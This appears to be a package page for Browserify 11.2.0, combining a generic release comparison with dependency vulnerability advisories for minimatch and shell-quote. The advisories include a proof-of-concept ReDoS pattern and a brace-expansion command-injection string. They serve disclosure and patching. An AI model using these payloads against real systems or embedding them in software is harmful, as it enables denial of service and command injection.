Browserify 11.2.0 is a minor release following version 11.1.0, maintaining the core functionality of providing a browser-side require() method compatible with Node.js modules. Both versions share the same fundamental description: "browser-side require() the node way," reflecting the library's ongoing purpose of enabling developers to write modular JavaScript for the browser using familiar Node.js patterns.
A detailed comparison reveals that the dependency lists ("dependencies" and "devDependencies") are virtually identical between the two releases. The underlying code and transitive dependencies are extremely similar. This suggests that Browserify 11.2.0 is likely a patch release that focused on minor bug fixes, performance improvements, or documentation updates rather than introducing major new features or dependency upgrades. The absence of changes in the dependency versions indicates a commitment to stability and backward compatibility, crucial for developers relying on Browserify in existing projects.
For developers, this close similarity means upgrading from 11.1.0 to 11.2.0 should be straightforward with minimal risk of introducing breaking changes. Users can expect a seamless transition with potentially improved stability and performance under the hood. The consistent dependency manifest also ensures that Browserify continues to offer a dependable and predictable environment for browser-based JavaScript module bundling. Developers prioritizing incremental improvements and stability can confidently adopt Browserify 11.2.0.
All the vulnerabilities related to the version 11.2.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.